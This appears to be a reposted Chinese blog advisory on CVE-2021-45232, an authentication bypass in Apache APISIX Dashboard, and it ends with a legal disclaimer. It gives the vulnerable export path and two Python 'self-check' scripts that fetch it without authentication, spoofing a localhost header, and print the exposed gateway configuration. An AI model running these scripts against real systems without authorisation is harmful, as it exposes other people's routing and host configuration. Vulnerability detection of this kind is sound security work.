cve-2021-45232Apache APISIX Dashboard身份认证绕过自检方法

Posted vlan911

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了cve-2021-45232Apache APISIX Dashboard身份认证绕过自检方法相关的知识,希望对你有一定的参考价值。

漏洞描述

Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。

该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet 框架,所有的 API 和鉴权中间件都是基于 droplet 框架开发的。但是有些 API 直接使用了框架 gin 的接口,从而绕过身份验证。

**该漏洞危害等级:**高危

CVE 编号 CVE-2021-45232

影响范围

Apache APISIX Dashboard < 2.10.1

poc:

ip+port/apisix/admin/migrate/export

漏洞自检方式:

自检脚本示例:

import requests

url=input("输入测试地址\\n>>>") + "/apisix/admin/migrate/export"
header = 
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
            "X-Forwarded-For": "127.0.0.1"
        
try:
    response = requests.get(url, headers=header, verify=False, timeout=10)
    print(response.text)
    if "Routes" in response.text or "hosts" in response.text :
        print(response.text)
        print("[" + url + "]" + "[===存在Apache APISIX Dashboard身份认证绕过漏洞===]")
    else:
        print("[" + url + "]" + "[不存在Apache APISIX Dashboard身份认证绕过漏洞]")
except Exception as e:
    print("[" + url + "]" + "[不存在漏洞]", format(e))

示例2:

import urllib.request
import ssl

url=input("输入测试地址\\n>>>") + "/apisix/admin/migrate/export"
context = ssl._create_unverified_context()
header = 
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
            "X-Forwarded-For": "127.0.0.1"
        
try:
    request = urllib.request.Request(url=url, headers=header)
    response = urllib.request.urlopen(request, context=context, timeout=10)
    html = str(response.read())
    if "Routes" in html or "hosts" in html and response.status == 200:
        print(html)
        print("[" + url + "]" + "[===存在Apache APISIX Dashboard身份认证绕过漏洞===]")
    else:
        print("[" + url + "]" + "[不存在Apache APISIX Dashboard身份认证绕过漏洞]")
except Exception as e:
    print("[" + url + "]" + "[不存在漏洞]", format(e))

声明:

本网站发布的项目中涉及的任何脚本,仅用于测试和学习研究,禁止用于商业用途,不能保证其合法性、准确性、完整性及有效性,请根据实际情况自行判断。
本网站对任何脚本及工具问题概不负责,包括但不限于由任何脚本错误导致的任何损失或损害。
间接使用本站中的任何工具及技术,包括但不限于漏洞挖掘或在某些行为违反国家/地区法律​或相关法规的情况下进行传播,本网站对于由此引起的任何隐私泄漏或其他后果概不负责。

​本网站保留随时更改或补充此免责声明的权利。一旦访问本网站项目,则视为
您已接受此免责声明。
您在本声明未发出之时点使用或者访问了该网站,则规为己接受此声明,请仔细阅读。

以上是关于cve-2021-45232Apache APISIX Dashboard身份认证绕过自检方法的主要内容,如果未能解决你的问题,请参考以下文章

There Are Now 3 Apache Spark APIs. Here’s How to Choose the Right One

JDK6和xml-apis之间的冲突

求解!JAVA 使用Apache POI将PPTX转图片出错。见下图

pointer of checkpoint in FlinK

强命名 Google.Apis

Apache Spark 2.0三种API的传说:RDDDataFrame和Dataset